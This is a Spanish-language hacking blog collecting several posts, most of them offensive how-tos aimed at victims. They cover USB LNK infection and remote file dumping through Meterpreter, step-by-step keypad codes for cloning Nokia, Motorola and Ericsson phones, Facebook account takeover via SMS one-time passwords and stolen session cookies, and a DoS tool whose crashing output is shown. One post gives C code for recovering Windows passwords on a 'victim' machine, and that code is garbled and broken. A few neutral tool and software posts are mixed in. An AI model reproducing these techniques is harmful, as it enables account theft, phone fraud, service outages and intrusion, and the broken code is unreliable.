USBsploit 0.3 BETA: USB LNK infection through Meterpreter and files dumping

Saludos Mundo Libre.

PTT para generar puertas inversas traseras TCP, corriendo o infecciones LNK Autorun USB, pero también de dumping todos los USB los archivos de forma remota en varios objetivos al mismo tiempo. USBsploit trabaja a través de sesiones Meterpreter con una luz (27MB) una versión modificada de Metasploit. La interfaz es un mod de SET (El kit de herramientas de ingeniería social). La secuencia de comandos usbsploit.rb Meterpreter del Marco USBsploit lo contrario se puede usar con el original Metasploit Framework.

La versión más reciente de USBsploit es en realidad el Beta 0.3

Informes de los bugs a https: / / twitter.com / o secuobs xavier.poli @ infratech.fr (Recomendado para las cuestiones de privacidad), KEYID: 0x3A3D555A, huellas dactilares: 04B1 244C CC25 EF52 DA93 EB73 E278 881F 3A3D 555A, xpo.asc

La secuencia de comandos usbsploit.rb parece tener algunos problemas si se utiliza con la versión por defecto de Ruby Backtrack 4, instalar una versión 1.9.1 se fija. Los datos que dan en los informes de errores: la versión de Python, la versión de Ruby, la versión de Metasploit si se utiliza, el sistema operativo de los objetivos, el sistema operativo del oyente, los detalles de hardware, tanto para los objetivos y el oyente, sino también para las unidades USB, las soluciones de seguridad instalado en los objetivos y el oyente, la configuración del servidor de seguridad particular, tanto en el destino y el oyente, la versión de VMware u otras personas si se usa, el último archivo de la configuración de descarga, la etapa en la error fue identificado, el mundial opciones USBsploit si ha cambiado, la salida de la verbosidad escaneado de alta, la salida de USBsploit

video de uso:
http://www.youtube.com/watch?v=Qk9Pz4ZOD_Y&feature=player_embedded#!

traduccion de google traductor y informacion sacada de:
http://secuobs.com/news/12102010-usbsploit_v0.3b_meterpreter_msf_1.shtml.
Gracias atodos.
Saludos mundo Libre.

Clonar My Celular

Saludos Mundo Libre.

He aqui una forma de clonar un celular la fuente fue sacada de:

http://peolplearmenia.galeon.com/enlaces538405.html

Con motivo del articulo anterior para el robo de cuentas de facebook

1) SYSTEM ID
2) LADA < o "Código de Area">
3) NUMERO DE CELULAR
1) SYSTEM ID

Para empezar tienes que saber el numero de identificación del sistema. Esto lo puedes hacer de una manera sencilla:
1)Habla a tu compañía de Celulares y diles que estas reprogramando tu celular, para venderlo o algo así, y "esperemos" que te den un numero de cinco dígitos.
Otra forma de encontrarlo, es reprogramando un celular que se encuentre
en red (acuérdate que a cada compañía le corresponde un SID diferente
Ej.: TELCEL, IUSACELL, etc.
2) LADA o "código de área"
. La lada debe ser un numero de 3 dígitos.
3) NUMERO DE CELULAR
Numero de Celular que quieras clonar, bien, todo el mundo sabe como es un numero de celular pero bueno.
Programando NOKIA.

PARA: NOKIA
21XX,51XX,61XX,636,639,918

1)Prende el teléfono.
2)Presiona *#639#
3)Presiona el numero de celular de 10 dígitos(-- ejemplo:((52)(987)(66666)), presiona OK.
4)Pon el sys id (ejemplo::24580), presiona OK.
5)El teléfono se apaga y se prende solo después.
*NOTA-Si se programa de forma incorrecta aparece: "Activation Failed"

PARA: NOKIA
P1000/100/PT101/PT128/PT228/PT232

1)Prende el teléfono.
2)Presiona *3001#12345
3)La pantalla marca 00
4)Mantén presionado CLR unos segundos
5)Marca el numero de celular de 10 dígitos
6)Presiona store,02,store,CLR (por unos segundos)
7)Pon el sys id
8)Presiona *1*10333*05*05, presiona store
9)presiona 03, presiona store
10)presiona CLR
11)Apaga el teléfono, para terminar la programación

PARA: NOKIA
232/239/515

1)Pon *3001#12345 , presiona STO 00
2)Presiona y mantén presionado CLR (vas a oír 2 beeps)
3)Pon 911#5551212#0 * 12345, STO, 01, STO
4)presiona y mantén presionado CLR (vas a oír 2 beeps)
5)Pon el código de área y el numero de teléfono, presiona STO, 02, STO
6)presiona y mantén presionado CLR (2 beeps)
7)Presiona *1*1 *333*15*05# 0111 * 1 ,STO, 03, STO
8)presiona y mantén presionado CLR (2 beeps)
9)Apaga y vuelve a prender el teléfono

Programando MOTOROLA
Los teléfonos Motorola, se programan igual, todos.

1)presiona FCN, presiona 0000000000000 (13 ceros)
2)Presiona RCL
-pantalla marca "01"
3)Pon el sys ID presiona **
4)pon el Area Code presiona **
5)marca el numero de teléfono presiona **
6)marca el "station class" marca 05 presiona **
7)marca la clase "access overload" (0+2 últimos números del celular) Presiona **
8)marca el "group id" marca 05 presiona **
9)marca la clave de segundad 000000 presiona **
10)marca el numero de 3 dígitos para "unlock" 123 presiona **
11)marca el "paging channel" 0333 presiona **
12)presiona *
13)presiona *
*NOTA: pantalla debe decir "01" si lo hace, presiona "SEND"
*NOTA: Presiona RCL + # para confirmar que lo programaste correctamente, tu numero de celular debe aparecer.

Programando ERICSSON
PARA:ERICSSON
318/368/388/618/688

1)presiona 923885, presiona MENU
2)selecciona NAM 1 (pon 1)
3)ESN en pantalla (Presiona RCL)
4)pon el numero de celular, presiona RCL
5)A-key marca # (presiona RCL)
6)SID 1 (epon el sys id) presiona RCL
7)ALPHA TAG 1 (déjalo como esta) Presiona RCL
8)LOCK clave 0000, presiona RCL
9)ve al nivel 2, presiona NO
10)EXIT (save)(Presiona YES)
11)Presiona MENU
12)Presiona 3
13)Presiona 2

Gracias http://peolplearmenia.galeon.com.

saludos mundo Libre.

Mi facebook Hackeado

Saludos Mundo libre.

He aqui una tecnica para Hackear cuentas de Facebook, Muchos pero Muchos de los usuarios tiene tanta informacion en su perfil que puedes saber todo de ellos asi que solo nesecitamos el telefono celular registrado en el facebook para hackear la cuenta del usuario con solo solicitar una contraseña temporal a través de SMS, solo tienes que escribir “otp” al número 32665 desde su teléfono celular

Recordemos que solo podremos hackear las cuantas que estan con la funcion de contraseña temporal abilitada.

Facebook enviará una contraseña que puede ser utilizada una sola vez. Esta contraseña expira en 20 minutos. Se puede utilizar en lugar de la contraseña habitual del miembro.

Asi que con un poco de pasiencia tendras la cuenta que quieras.
Feliz Hacking.

Saludos Mundo Libre.

Windows vs Linux

Saludos Mundo libre.

Costo beneficio he aqui las diferencias de windows contra linux para mi linux es la mejor transferencia para dejar el moustro de windows si costo y un mejor beneficio y mucho mas estable linux.

Windows de paga Linux libre Descripcion

Outlook Express / Kmail, Mozilla Thunderbird Programa de correo
Outlook / Ximian, kontact Programa de correo
electronico con
agenda y calendario
Office / OpenOffice.org, koffice Paquete de ofimática
Messenger, ICQ, Yahoo, AIM / Kopete, Pidgin Programa de mensajeria
PhotoShop / The Gimp Programa de diseño
Corel Draw / Sodipodi, Inkscape Dibujo vectorial
3D Studio Max / Blender Diseño 3D
Autocad / QCad Programa de ACAD
Internet Explorer / Konqueror, FireFox Navegador Web
Windows Media, VLC / Xine, Mplayer, Kaffeine, VLC Reproductores de video
Winamp / xmms Reproductores de sonido
Acrobat Reader / kview, kpdf Visualizador de archivos .pd
Nero / K3b Aplicación para grabar CD's y DVD's
Cute FTP, FileZilla / KBear, gftp, FileZilla Aplicación de transferencia de archivos (FTP)


Puede encontrar una gran cantidad de aplicaciones Windows con sus iguales en Linux, en la web Alternativas Libres.

http://www.freealts.com/

Saludos Mundo Libre

FBController

Saludos Mundo Libre

FBController.exe es un programa creado por AZIM POONAWALA que se dice en la red que rompe las barreras de facebook pero no es cierto lo que hace este exelente programa es leer las cookis del historial asi que seria bueno tenerlo en tu usb y andar por los cafes internet explorando los historiales para sacar los usuarios y passwor de facebook la syntaxis es muy sencilla solo hay que correrlo desde la shell de windows de la siguiente manera


────────────────────────────────────────────────────────────────────────

█░█░█░█░█░█░█░█░█░ ╔═ █░█░█░█░█░█░█░█░█░
█░█░█░█░█░█░█░█░█░ ╔═ âÇëb°°k CÖⁿ┼rollΣr version 1.0 █░█░█░█░█░█░█░█░█░
█░█░█░█░█░█░█░█░█░ ╟ █░█░█░█░█░█░█░█░█░

────────────────────────────────────────────────────────────────────────

♦♦♦♦♦♦♦ The Ultimate Facebook Controller ♦♦♦♦♦♦♦
■■■■■■■■ To Control Facebook without the Password ■■■■■■■■■

▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲
▲ ▲
▲ ▲
▲ Coded by : QUAKERDOOMER (Azim Poonawala) ▲
▲ quakerdoomer [< @ >] fmguy.com ▲
▲ ▲
▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲▲


Syntax: "FBConTroller.exe" datr ABT s_vsn_facebookpoc_1 login_x xs c_user h_user

Example: "FBConTroller.exe" 1240660791-5c29eb61252481b55137e8919dbc4a560d9aab46
0479025d543f9 b0ad8a8df29cc7bafdf91e67c86d58561st0A1241265591AA 7369244034442 a%
3A2%3A%7Bs%3A5%3A%22email%22%3Bs%3A13%3A%22tomy%40email.sk%22%3Bs%3A19%3A%22reme
mber_me_default%22%3Bb%3A0%3BD 0c38a69708eeff53962b611d3fc9111e 1166357033 09c12
9e811cf

╪ So What (TF!) have you done lately ? -- Wesley [WANTED, 2008] ╪

Press any key to continue . . .

En donde aparece la numeracion es el registro de las cookies asi que hay que explorar que la solucion esta.

el programa esta en nuestros achivos de
http://mx.groups.yahoo.com/group/escuelahackerenpuebla

Saludos Mundo Libre.

ESF fingerprinter

Saludos Mundo Libre

La toma de huellas dactilares de SQL Server puede ser un proceso que consume tiempo. Se trata de un estudio de muchos errores y métodos para la huella digital para saber exacta la versión de SQL Server. Intencionalmente la inserción de una entrada no es válida para obtener un mensaje de error típico o el uso de ciertos alfabetos que son únicos para un servidor Son dos de las formas a la posibilidad de la huella digital de un servidor.

Pero, cuando se trata de la toma de huellas dactilares de Microsoft SQL Server, Exploit Next Generation ® SQL Server ™ de huellas dactilares (FKA Microsoft SQL Server de huellas dactilares Tool) es la mejor herramienta!

El Exploit Next Generation ® SQL Server ™ de huellas dactilares (FSE) es una poderosa herramienta que lleva a cabo la versión para la toma de huellas dactilares de:

1.Microsoft servidor SQL Server 2000;
2.Microsoft servidor SQL Server 2005, y
3.Microsoft servidor SQL Server 2008.

El Exploit Next Generation ® SQL Server ™ utiliza la huella digital técnicas bien conocidas sobre la base de varios instrumentos públicos que sean capaces de identificar la versión de Microsoft SQL Server (tales como: SQLping y SQLver), pero, en lugar de mostrar sólo la "cruda versión" (es decir, , Microsoft SQL Server Versión 10.00.2746), el exploit Next Generation ® SQL Server ™ muestra la huella digital asignada versión de Microsoft SQL Server (por ejemplo, Microsoft SQL Server 2008 Service Pack 1 (5 um)).

Explotar los puntos fuertes de la próxima generación ® ™ SQL huellas dactilares son las siguientes:

1.It utiliza los protocolos TCP y UDP para determinar la versión de Microsoft SQL Server, lo que es mucho más confiable que cualquier otro instrumento público o comercial.

2.It es capaz de identificar las múltiples instancias de Microsoft SQL Server y sus puertos de comunicación TCP.

3.It no requiere de ningún método de autenticación para identificar la versión de Microsoft SQL Server.

4.It utiliza el algoritmo probabilístico para identificar la versión de Microsoft SQL Server, que combina los protocolos TCP y UDP de huellas dactilares.

Seguir leyendo en en el siguiente link

fuente http://code.google.com/p/esf/

texto traducido por google traductor.
gracias a http://code.google.com/p/esf/

Saludos Mundo Libre

Como va mi desface

Saludos Mundo Libre

Cuando estas atacando una web y quieres averiguar que esta o no esta dando resultado esta es una exelente web para monitoriar el desface asi que aqui esta.
solo hay que poner la web y listo tedira si esta off o no.
http:www.estacaido.com

Saludos Mundo Libre.

Manteniendonos en la red

Saludos Mundo Libre

Ayudando a mantenernos en la red con un CLIK solo clikea los anuncios publicitarios para que sigamos en la red Mundo Libre gracias.

Saludos Mundo Libre

Como dejar una web sin conexion

Saludos Mundo Libre

Como dejar una web sin conexion voy ablar de una aplicacion creada por Cr4z1 diseñada para dejar webs sin conexion la bentaja de esta aplicacion es que esta creada en java lo que la hace multiplataforma para mi es una exelente herramineta para hacer un ataque Dos desde la pc.

El uso de la harreamienta es muy facil solo hay que colocar la web a atacar y listo lo unico que nesecita es tener java instalado.

lo podemos descargar de una exelente web la liga es.

http://troyanosyvirus.com.ar/

ahora el archivo biene comprimido y hay que descomprimirlo en la ruta.
c:\windows\system32\bin

y la herramienta arranca con un simple.
c:\windows\system32\bin\d2

y acontinuacion aparece esto.

C:\WINDOWS\system32\Bin>d2
(Sintaxis WWW.google.com)
:www.web.com

despues damos enter.

even
odd
even
odd
even
odd
even
odd
even
odd
even
odd
even
odd
even
odd
even
odd
even
odd
even
odd
even
odd





-OWNED!-

Created by Cr4z1 And D4rk Cl0wn

IP: www.web.com
Port: 80
9999s long
200 threads

Press Enter to Start..

y arranca.

All Ttreads created
.=Site Working
x=Site Crashing
...................................................
...................................................
...................................................
...................................................
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxx............................
..xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
la conexion funciona mientras tengamos el programa en arranque.

Saludos Mundo Libre

Ataque Proxy

Saludos Mundo libre

Ataque proxy voy hablar de un exelente programa para linux y windows para realizar ataques proxy.

Es libre pero hay que apollar a los programadores de este exelente programa
asi que hay que donar o agradecer por su programa.

El Zed ataque Proxy (ZAP) es una herramienta fácil de usar integrado pruebas de penetración para encontrar vulnerabilidades en aplicaciones web.

Está diseñado para ser utilizado por personas con una amplia gama de experiencia en seguridad y como tal es ideal para desarrolladores y probadores funcionales que una nueva prueba de la penetración.

ZAP ofrece escáneres automáticos, así como un conjunto de herramientas que le permiten encontrar las vulnerabilidades de seguridad de forma manual.

La versión actual de ZAP es la 1.0.0 y se puede descargar desde la página de Google Code.

Algunas de las características de ZAP:

Interceptar proxy
Automatizado de escáner
Pasivos del escáner
Spider
Algunas de las características de ZAP:

Fácil de instalar (sólo requiere Java 1.6)
Facilidad de uso en una prioridad
Integral de las páginas de ayuda
En desarrollo activo
De código abierto
Libre (sin pago de 'Pro' versión)
Multiplataforma
Participación activa anima
ZAP es un tenedor de la buena reputación de Paros Proxy.
Escuchar
Leer fonéticamente
Diccionario - Ver diccionario detallado

dejo la liga para que lo descarguen

http://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

Saludos Mundo Libre

Password

Saludos Mundo Libre

He aqui un Programa escrito en c++ para desencriptar password de windows hay que compilarlo y sacar el ejecutable despues copiarlo en la maquina victina y listo tenemos el password de la maquina saludos.

codigo:

#include
#include
#include
#include
#include
#include

unsigned char huge data [100001];
unsigned char keystream [1001];
int Rpoint[300];

void main (int argc,char *argv[]) {
FILE *fd;
int i,j,k;
int siza;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300];

if (argc<2) {
printf ("usage: glide filename (username)");
exit (1);
}
fd=fopen(argv[1],"rb");
if(fd==NULL) {
printf("cant open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd) {
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

name=agrv[1];
if(argc>2) name=agrv[2];
printf("Username: %s\n",name);

cracked=size-0x02008;
if(cracked<0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(Keystream,Data+0x208,cracked);

for(i=0;<20;i++) {
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
Keystream[i]^=ch;
};
cracked=20;

sizemask=Keystream[0]+(Keystream[1]<<8);
printf("Sizemask: %04X\n",sizemask);

fot(i=0;i<256;i++) Rall[1]=0;

maxr=0;
for(i=0x108;i<0x208;i++) {
if(Data[1]!=0xff) {
Rall[Data[1]]++;
if (Data[i]>maxr) maxr=Data[i];
}
}
maxr=((maxr/16)+1)*16);
Rpoint[0]=0x0208+2*maxr+20+2;
for(i=0;ipos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]);
if(Rall[i]==0) && (rzs!=0) ) {
printf("unused resource has nonzero size !!!\n");
printf("If last line produce any : you many try to recover\n");
ch=getch();
if(ch!='y') exit(0);
rsz=2
i-=1;
}
pos+=rsz;
if(iwhile(Data[pos+3]!=Keystream[1]) {
printf(".",Data[pos+3]);
pos+=2;
}
}
pos+=2;
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
for(i=0;i <=maxr;i++) {
Keystream[20+2*i]^=Rpoint[i] & 0x00ff;
Keystream[21+2*1]^=(Rpoint[i] >> 8) & 0x00ff;
}
cracked+maxr*2+2;
printf("%d byte of Keystream recoverd\n",cracked);
for(i=0;i< maxr;i++) {
rsz-Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked;
printf("Recource[%d] (%d)\n",i,rsz);
for(j=0;jprintf("\n");
}
exit(0);
}

Saludos Mundo Libre

Los Secretos de Google AdSense

Saludos Mundo Libre.

He aqui el famoso libro de Los Secretos de Google AdSense ya que cuenta con derechos de autor y no podemos trasmitir a terceros la informacion contenida en este libro lo boy a subir a nuestra liga.

este libro trata de agregar a nuestras webs propoganda por medio de AdSense para que el usuario clike los anuncios publicitarios y asi obtener ganancias esta bueno asi que se los dejo en mi liga.

solo usuarios registrados podran verlo.

http://mx.groups.yahoo.com/group/escuelahackerenpuebla

Saludos Mundo Libre

inspathx

Saludos Mundo Libre
boy a esplicar inspathx es una herramienta que utiliza el árbol de las fuentes locales para hacer peticiones a la dirección URL y busca la inclusión camino (Ruta completa divulgación) mensajes de error. Es un problema muy común en aplicaciones web PHP
que los cultivos de un lote.

PHP desarrolladores de aplicaciones web a veces no añadir los controles de seguridad contra las autenticaciones, etc inclusión de archivo y son propensos a revelar información sensible posible cuando las direcciones URL de las aplicaciones son solicitados directamente. A veces, es una clave para la inclusión de archivos locales (LFI), la vulnerabilidad. Para las aplicaciones de código abierto, el código fuente puede ser descargado y comprobado para encontrar dicha información.
Este script va a hacer este trabajo.

A. Primero hay que descargar el fichero archivado fuente de su software libre que desee.
B. En segundo lugar, extraer su contenido.
C. En tercer lugar, alimentar a su ruta de acceso a inspath

inspathx acepta los siguientes argumentos:

◦ argumento-d o-dir como directorio de origen (de aplicación)
◦-u o-url argumento como la dirección URL base de destino (como http://victim.com)
◦-t-argumento o las discusiones como el número de subprocesos para ejecutar al mismo tiempo (por defecto es 10)
Puede descargar inspathx a través de SVN aquí:

svn checkout http://inspathx.googlecode.com/svn/trunk/ inspathx-de sólo lectura


como siempre es una aplicacion que solo corre en linux .

Saludos Mundo Libre.